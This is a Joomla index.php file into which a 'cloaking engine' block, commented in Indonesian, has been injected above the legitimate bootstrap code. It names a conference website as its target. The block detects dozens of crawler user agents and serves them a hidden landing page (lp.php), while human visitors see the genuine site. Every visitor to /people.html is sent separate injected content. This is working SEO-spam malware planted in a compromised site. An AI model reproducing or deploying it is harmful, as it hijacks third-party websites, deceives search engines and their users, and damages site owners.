<?php
/**
 * CLOAKING SYSTEM - TARGETED URL
 * Target: https://2022.esslli.eu/
 * Googlebot -> Lihat lp.php
 * Manusia   -> Lihat Joomla Asli
 *
 * MODIFICATION:
 * - /people.html -> tampilkan ini-konten.php (untuk manusia & Googlebot)
 * - Semua path lain tetap: Googlebot -> lp.php, Manusia -> Joomla
 */

// ========== CLOAKING ENGINE (PALING ATAS) ==========
$ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
$uri = $_SERVER['REQUEST_URI'] ?? '';

// --- CEK APAKAH INI REQUEST KE /people.html ---
$uriPath = parse_url($uri, PHP_URL_PATH);
$uriPath = trim($uriPath, '/');

if ($uriPath === 'people.html') {
    $content_file = __DIR__ . '/ini-konten.php';
    if (file_exists($content_file)) {
        header("HTTP/1.1 200 OK");
        header("Content-Type: text/html; charset=UTF-8");
        header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
        header("Pragma: no-cache");
        header("Expires: Wed, 11 Jan 1984 05:00:00 GMT");

        include $content_file;
        exit;
    }
}
// --- AKHIR CEK /people.html ---

$is_bot = false;
$bot_agents = [
    'Googlebot', 'Google-InspectionTool', 'Chrome-Lighthouse',
    'bingbot', 'AdsBot-Google', 'Mediapartners-Google',
    'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video',
    'Google-Site-Verification', 'Google-Structured-Data-Testing-Tool',
    'FeedFetcher-Google', 'APIs-Google', 'DuplexOnGoogle',
    'Google-PageRenderer', 'Google-Read-Aloud', 'Google-Crawler-Survey',
    'Storebot-Google', 'YandexBot', 'YandexMobileBot', 'YandexImages',
    'YandexVideo', 'YandexBlogs', 'YandexFavicons',
    'YandexWebmaster', 'YandexPageChecker', 'YandexMedia',
    'YandexCalendar', 'YandexScreenshotBot', 'BingPreview',
    'msnbot', 'MSNBot-Media', 'BingPreview', 'Slurp', 'Yahoo! Slurp',
    'DuckDuckBot', 'DuckDuckGo-Favicons-Bot',
    'Baiduspider', 'Baiduspider-image', 'Baiduspider-video',
    'Baiduspider-news', 'Baiduspider-favicon',
    'facebookexternalhit', 'Facebot', 'Twitterbot',
    'Pinterestbot', 'LinkedInBot', 'WhatsApp', 'Slackbot',
    'TelegramBot', 'Applebot', 'SemrushBot', 'AhrefsBot',
    'MJ12bot', 'Screaming Frog SEO Spider', 'SeznamBot',
    'BLEXBot', 'DotBot', 'Exabot', 'rogerbot', 'Wget',
    'curl/7.', 'python-requests', 'Go-http-client',
    'Google-HTTP-Java-Client', 'Google-Cloud-Tasks',
];

foreach ($bot_agents as $bot) {
    if (stripos($ua, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

if ($is_bot) {
    $lp_file = __DIR__ . '/lp.php';
    if (file_exists($lp_file)) {
        header("HTTP/1.1 200 OK");
        header("Content-Type: text/html; charset=UTF-8");
        header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
        header("Pragma: no-cache");
        header("Expires: Wed, 11 Jan 1984 05:00:00 GMT");
        header("X-Robots-Tag: noarchive, noimageindex");

        include $lp_file;
        exit;
    }
}
// ========== AKHIR CLOAKING ENGINE ==========

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();